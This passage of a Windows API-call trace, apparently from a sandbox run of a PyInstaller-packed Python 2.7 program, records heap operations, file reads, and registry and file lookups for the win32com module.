dwFlags=0x0, lpMem=0x2a20078 | out: hHeap=0x2ad0000) returned 1 [0075.081] GetLastError () returned 0x0 [0075.081] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=8150968, lpDistanceToMoveHigh=0x9ba110*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba110*=0) returned 0x7c5fb8 [0075.081] GetLastError () returned 0x0 [0075.081] GetCurrentThreadId () returned 0x9b0 [0075.081] GetLastError () returned 0x0 [0075.081] GetCurrentThreadId () returned 0x9b0 [0075.081] GetLastError () returned 0x0 [0075.081] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=8042963, lpDistanceToMoveHigh=0x9ba4a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba4a8*=0) returned 0x7ab9d3 [0075.081] GetLastError () returned 0x0 [0075.081] GetCurrentThreadId () returned 0x9b0 [0075.082] GetLastError () returned 0x0 [0075.082] GetCurrentThreadId () returned 0x9b0 [0075.082] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1783) returned 0x2ab3758 [0075.082] GetLastError () returned 0x0 [0075.082] ReadFile (in: hFile=0x2d8, lpBuffer=0x2ab376c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba470, lpOverlapped=0x0 | out: lpBuffer=0x2ab376c*, lpNumberOfBytesRead=0x9ba470*=0x1000, lpOverlapped=0x0) returned 1 [0075.082] ReadFile (in: hFile=0x2d8, lpBuffer=0x2cc54e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba45c, lpOverlapped=0x0 | out: lpBuffer=0x2cc54e0*, lpNumberOfBytesRead=0x9ba45c*=0x1000, lpOverlapped=0x0) returned 1 [0075.082] GetLastError () returned 0x0 [0075.082] GetCurrentThreadId () returned 0x9b0 [0075.082] GetLastError () returned 0x0 [0075.082] GetCurrentThreadId () returned 0x9b0 [0075.082] GetLastError () returned 0x0 [0075.082] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b9134*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b9134*=0) returned 0x7ad9d3 [0075.082] GetLastError () returned 0x0 [0075.082] GetCurrentThreadId () returned 0x9b0 [0075.082] GetLastError () returned 0x0 [0075.082] GetLastError () returned 0x0 [0075.082] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc54e0 | out: hHeap=0x2ad0000) returned 1 [0075.082] CloseHandle (hObject=0x2d8) returned 1 [0075.083] GetLastError () returned 0x0 [0075.083] GetCurrentThreadId () returned 0x9b0 [0075.083] GetLastError () returned 0x0 [0075.083] GetLastError () returned 0x0 [0075.083] GetCurrentThreadId () returned 0x9b0 [0075.083] GetLastError () returned 0x0 [0075.083] GetLastError () returned 0x0 [0075.083] GetCurrentThreadId () returned 0x9b0 [0075.083] GetLastError () returned 0x0 [0075.083] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31833e8 | out: hHeap=0x2ad0000) returned 1 [0075.083] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x317d7f0 | out: hHeap=0x2ad0000) returned 1 [0075.083] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x318b3f0, Size=0x58ee) returned 0x318b3f0 [0075.083] GetCurrentThreadId () returned 0x9b0 [0075.083] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab3758 | out: hHeap=0x2ad0000) returned 1 [0075.083] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x373) returned 0x2cb6ec0 [0075.083] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8448 [0075.083] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca8448, Size=0x20) returned 0x30284e0 [0075.084] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x75f) returned 0x3026050 [0075.084] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30284e0, Size=0x40) returned 0x2a18c68 [0075.084] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18c68, Size=0x64) returned 0x2a19818 [0075.084] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19818, Size=0x8c) returned 0x2ac0ca0 [0075.084] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x67e) returned 0x3026bc8 [0075.084] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0ca0, Size=0xb8) returned 0x3028f88 [0075.084] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5e9) returned 0x302ad50 [0075.084] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x61c) returned 0x302b348 [0075.084] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x719) returned 0x303aee0 [0075.084] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x628) returned 0x303b608 [0075.084] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x6d2) returned 0x2ab3758 [0075.084] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028f88, Size=0xe8) returned 0x2ac9440 [0075.084] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac9440, Size=0x120) returned 0x2c37270 [0075.084] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c37270, Size=0x160) returned 0x2cb5ed0 [0075.084] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cb5ed0, Size=0x1a8) returned 0x2cb8340 [0075.084] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cb8340, Size=0x1f8) returned 0x2c311d0 [0075.084] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c311d0, Size=0x250) returned 0x2ac5098 [0075.084] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac5098 | out: hHeap=0x2ad0000) returned 1 [0075.084] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x318b3f0 | out: hHeap=0x2ad0000) returned 1 [0075.084] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b100 [0075.084] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b100 | out: hHeap=0x2ad0000) returned 1 [0075.085] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30fb2c0 [0075.085] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b100 [0075.085] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca8358 [0075.085] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b100 | out: hHeap=0x2ad0000) returned 1 [0075.085] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8358 | out: hHeap=0x2ad0000) returned 1 [0075.085] GetCurrentThreadId () returned 0x9b0 [0075.085] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.085] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0075.085] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0075.085] GetCurrentThreadId () returned 0x9b0 [0075.085] GetCurrentThreadId () returned 0x9b0 [0075.085] GetCurrentThreadId () returned 0x9b0 [0075.085] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.085] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.085] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.085] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab8ce8, Size=0x18) returned 0x2ab8ce8 [0075.085] GetCurrentThreadId () returned 0x9b0 [0075.085] GetCurrentThreadId () returned 0x9b0 [0075.085] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.085] GetCurrentThreadId () returned 0x9b0 [0075.085] GetCurrentThreadId () returned 0x9b0 [0075.085] GetLastError () returned 0x0 [0075.086] GetLastError () returned 0x0 [0075.086] FindFirstFileA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\pkg_resources\\_vendor", lpFindFileData=0x9b9e90 | out: lpFindFileData=0x9b9e90*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x3137420, ftCreationTime.dwHighDateTime=0x3146b00, ftLastAccessTime.dwLowDateTime=0x3030540, ftLastAccessTime.dwHighDateTime=0x7f, ftLastWriteTime.dwLowDateTime=0x3146b00, ftLastWriteTime.dwHighDateTime=0x9b9ec0, nFileSizeHigh=0x9b9ed4, nFileSizeLow=0x73013d47, dwReserved0=0x9b9ecc, dwReserved1=0x0, cFileName="\xb4\x9f\x9b", cAlternateFileName="")) returned 0xffffffff [0075.086] GetLastError () returned 0x3 [0075.086] GetLastError () returned 0x3 [0075.086] GetLastError () returned 0x3 [0075.086] GetFullPathNameA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\pkg_resources\\_vendor", nBufferLength=0x104, lpBuffer=0x9b9fd0, lpFilePart=0x9b9e28 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\pkg_resources\\_vendor", lpFilePart=0x9b9e28*="_vendor") returned 0x41 [0075.086] GetLastError () returned 0x3 [0075.086] GetLastError () returned 0x3 [0075.086] GetLastError () returned 0x3 [0075.086] GetLastError () returned 0x3 [0075.086] GetLastError () returned 0x3 [0075.086] FindFirstFileA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\pkg_resources", lpFindFileData=0x9b9e90 | out: lpFindFileData=0x9b9e90*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x3137420, ftCreationTime.dwHighDateTime=0x3146b00, ftLastAccessTime.dwLowDateTime=0x3030540, ftLastAccessTime.dwHighDateTime=0x7f, ftLastWriteTime.dwLowDateTime=0x3146b00, ftLastWriteTime.dwHighDateTime=0x9b9ec0, nFileSizeHigh=0x9b9ed4, nFileSizeLow=0x73013d47, dwReserved0=0x9b9ecc, dwReserved1=0x0, cFileName="\xb4\x9f\x9b", cAlternateFileName="")) returned 0xffffffff [0075.086] GetLastError () returned 0x2 [0075.086] GetLastError () returned 0x2 [0075.086] GetLastError () returned 0x2 [0075.086] GetFullPathNameA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\pkg_resources", nBufferLength=0x104, lpBuffer=0x9b9fd0, lpFilePart=0x9b9e28 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\pkg_resources", lpFilePart=0x9b9e28*="pkg_resources") returned 0x39 [0075.087] GetLastError () returned 0x2 [0075.087] GetLastError () returned 0x2 [0075.087] GetLastError () returned 0x2 [0075.087] GetLastError () returned 0x2 [0075.087] GetLastError () returned 0x2 [0075.087] FindFirstFileA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1", lpFindFileData=0x9b9e90 | out: lpFindFileData=0x9b9e90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd4b7ceb, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xe2f4b867, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xe2f4b867, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff8de, dwReserved1=0xffffffe9, cFileName="_MEI11842", cAlternateFileName="_MEI11~1")) returned 0x1055ba0 [0075.087] FileTimeToLocalFileTime (in: lpFileTime=0x9b9ea4, lpLocalFileTime=0x9b9e74 | out: lpLocalFileTime=0x9b9e74) returned 1 [0075.087] FileTimeToSystemTime (in: lpFileTime=0x9b9e74, lpSystemTime=0x9b9e7c | out: lpSystemTime=0x9b9e7c) returned 1 [0075.087] FileTimeToLocalFileTime (in: lpFileTime=0x9b9e9c, lpLocalFileTime=0x9b9e74 | out: lpLocalFileTime=0x9b9e74) returned 1 [0075.087] FileTimeToSystemTime (in: lpFileTime=0x9b9e74, lpSystemTime=0x9b9e7c | out: lpSystemTime=0x9b9e7c) returned 1 [0075.087] FileTimeToLocalFileTime (in: lpFileTime=0x9b9e94, lpLocalFileTime=0x9b9e74 | out: lpLocalFileTime=0x9b9e74) returned 1 [0075.087] FileTimeToSystemTime (in: lpFileTime=0x9b9e74, lpSystemTime=0x9b9e7c | out: lpSystemTime=0x9b9e7c) returned 1 [0075.087] FindClose (in: hFindFile=0x1055ba0 | out: hFindFile=0x1055ba0) returned 1 [0075.087] GetLastError () returned 0x2 [0075.087] GetCurrentThreadId () returned 0x9b0 [0075.087] GetCurrentThreadId () returned 0x9b0 [0075.087] GetCurrentThreadId () returned 0x9b0 [0075.087] GetCurrentThreadId () returned 0x9b0 [0075.087] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0075.087] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0075.088] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0075.088] GetCurrentThreadId () returned 0x9b0 [0075.088] GetCurrentThreadId () returned 0x9b0 [0075.088] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0075.088] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.088] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.088] GetCurrentThreadId () returned 0x9b0 [0075.088] GetCurrentThreadId () returned 0x9b0 [0075.088] GetCurrentThreadId () returned 0x9b0 [0075.088] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.088] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.088] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.088] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab8ce8, Size=0x18) returned 0x2ab8ce8 [0075.088] GetCurrentThreadId () returned 0x9b0 [0075.088] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.089] GetCurrentThreadId () returned 0x9b0 [0075.089] GetCurrentThreadId () returned 0x9b0 [0075.089] GetCurrentThreadId () returned 0x9b0 [0075.089] GetCurrentThreadId () returned 0x9b0 [0075.089] GetCurrentThreadId () returned 0x9b0 [0075.089] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.089] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0075.089] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0075.089] GetCurrentThreadId () returned 0x9b0 [0075.089] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30fc520 [0075.089] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30fc398 [0075.089] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b100 [0075.089] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8430 [0075.089] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8448 [0075.089] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x302bc70 [0075.089] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x302bd60 [0075.089] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x302bc70, Size=0x14) returned 0x2a71580 [0075.089] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x302bd60 | out: hHeap=0x2ad0000) returned 1 [0075.089] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8448 | out: hHeap=0x2ad0000) returned 1 [0075.089] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8430 | out: hHeap=0x2ad0000) returned 1 [0075.089] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b100 | out: hHeap=0x2ad0000) returned 1 [0075.089] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71580 | out: hHeap=0x2ad0000) returned 1 [0075.090] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30fc520 | out: hHeap=0x2ad0000) returned 1 [0075.090] GetCurrentThreadId () returned 0x9b0 [0075.090] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x302f328 [0075.090] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30fb2c0 | out: hHeap=0x2ad0000) returned 1 [0075.090] GetCurrentThreadId () returned 0x9b0 [0075.090] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0075.090] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.090] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0075.090] GetCurrentThreadId () returned 0x9b0 [0075.090] GetCurrentThreadId () returned 0x9b0 [0075.090] GetCurrentThreadId () returned 0x9b0 [0075.090] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.090] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.090] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.090] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab8ce8, Size=0x18) returned 0x2ab8ce8 [0075.090] GetCurrentThreadId () returned 0x9b0 [0075.090] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.090] GetCurrentThreadId () returned 0x9b0 [0075.090] GetCurrentThreadId () returned 0x9b0 [0075.090] GetCurrentThreadId () returned 0x9b0 [0075.090] GetCurrentThreadId () returned 0x9b0 [0075.090] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a258 | out: hHeap=0x2ad0000) returned 1 [0075.090] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0075.091] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0075.091] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0075.091] GetCurrentThreadId () returned 0x9b0 [0075.091] GetCurrentThreadId () returned 0x9b0 [0075.091] GetCurrentThreadId () returned 0x9b0 [0075.091] GetCurrentThreadId () returned 0x9b0 [0075.091] GetCurrentThreadId () returned 0x9b0 [0075.091] GetCurrentThreadId () returned 0x9b0 [0075.091] GetCurrentThreadId () returned 0x9b0 [0075.091] GetLastError () returned 0x2 [0075.091] RegQueryValueA (in: hKey=0x80000001, lpSubKey="Software\\Python\\PythonCore\\2.7\\Modules\\win32com", lpData=0x2a1a488, lpcbData=0x9ba2b4 | out: lpData="", lpcbData=0x9ba2b4) returned 0x2 [0075.091] RegQueryValueA (in: hKey=0x80000002, lpSubKey="Software\\Python\\PythonCore\\2.7\\Modules\\win32com", lpData=0x2a1a488, lpcbData=0x9ba2b4 | out: lpData="", lpcbData=0x9ba2b4) returned 0x2 [0075.091] GetFileAttributesA (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\win32com" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11~1\\win32com")) returned 0xffffffff [0075.091] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\win32com.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11~1\\win32com.pyd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba190, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0075.091] GetLastError () returned 0x2 [0075.091] GetLastError () returned 0x2 [0075.091] GetLastError () returned 0x2 [0075.092] GetLastError () returned 0x2 [0075.092] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\win32com.py" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11~1\\win32com.py"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba190, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0075.092] GetLastError () returned 0x2 [0075.092] GetLastError () returned 0x2 [0075.092] GetLastError () returned 0x2 [0075.092] GetLastError () returned 0x2 [0075.092] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\win32com.pyw" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11~1\\win32com.pyw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba190, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0075.092] GetLastError () returned 0x2 [0075.092] GetLastError () returned 0x2 [0075.092] GetLastError () returned 0x2 [0075.092] GetLastError () returned 0x2 [0075.092] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\win32com.pyc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11~1\\win32com.pyc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba190, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0075.092] GetLastError () returned 0x2 [0075.092] GetLastError () returned 0x2 [0075.092] GetLastError () returned 0x2 [0075.092] GetLastError () returned 0x2 [0075.092] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0075.092] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0075.093] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0075.093] GetCurrentThreadId () returned 0x9b0 [0075.093] GetCurrentThreadId () returned 0x9b0 [0075.093] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0075.093] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0075.093] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0075.093] GetCurrentThreadId () returned 0x9b0 [0075.093] GetCurrentThreadId () returned 0x9b0 [0075.093] GetCurrentThreadId () returned 0x9b0 [0075.093] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.093] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.093] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.093] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab8ce8, Size=0x18) returned 0x2ab8ce8 [0075.093] GetCurrentThreadId () returned 0x9b0 [0075.093] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.093] GetCurrentThreadId () returned 0x9b0 [0075.093] GetCurrentThreadId () returned 0x9b0 [0075.093] GetCurrentThreadId () returned 0x9b0 [0075.093] GetCurrentThreadId () returned 0x9b0 [0075.093] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0075.093] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0075.093] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0075.093] GetCurrentThreadId () returned 0x9b0 [0075.094] GetCurrentThreadId () returned 0x9b0 [0075.094] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cb6ec0 | out: hHeap=0x2ad0000) returned 1 [0075.094] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0075.094] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0075.094] GetCurrentThreadId () returned 0x9b0 [0075.094] GetCurrentThreadId () returned 0x9b0 [0075.094] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0075.094] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0075.094] GetCurrentThreadId () returned 0x9b0 [0075.094] GetCurrentThreadId () returned 0x9b0 [0075.094] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0075.094] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0075.094] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0075.094] GetCurrentThreadId () returned 0x9b0 [0075.094] GetCurrentThreadId () returned 0x9b0 [0075.094] GetCurrentThreadId () returned 0x9b0 [0075.094] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.094] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.094] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.094] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab8ce8, Size=0x18) returned 0x2ab8ce8 [0075.094] GetCurrentThreadId () returned 0x9b0 [0075.094] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.094] GetCurrentThreadId () returned 0x9b0 [0075.094] GetCurrentThreadId () returned 0x9b0 [0075.095] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b100 [0075.095] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca83b8 [0075.095] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b100 | out: hHeap=0x2ad0000) returned 1 [0075.095] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca83b8 | out: hHeap=0x2ad0000) returned 1 [0075.095] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0075.095] GetCurrentThreadId () returned 0x9b0 [0075.095] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.095] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0075.095] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0075.095] GetCurrentThreadId () returned 0x9b0 [0075.095] GetCurrentThreadId () returned 0x9b0 [0075.095] GetCurrentThreadId () returned 0x9b0 [0075.095] GetCurrentThreadId () returned 0x9b0 [0075.095] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, 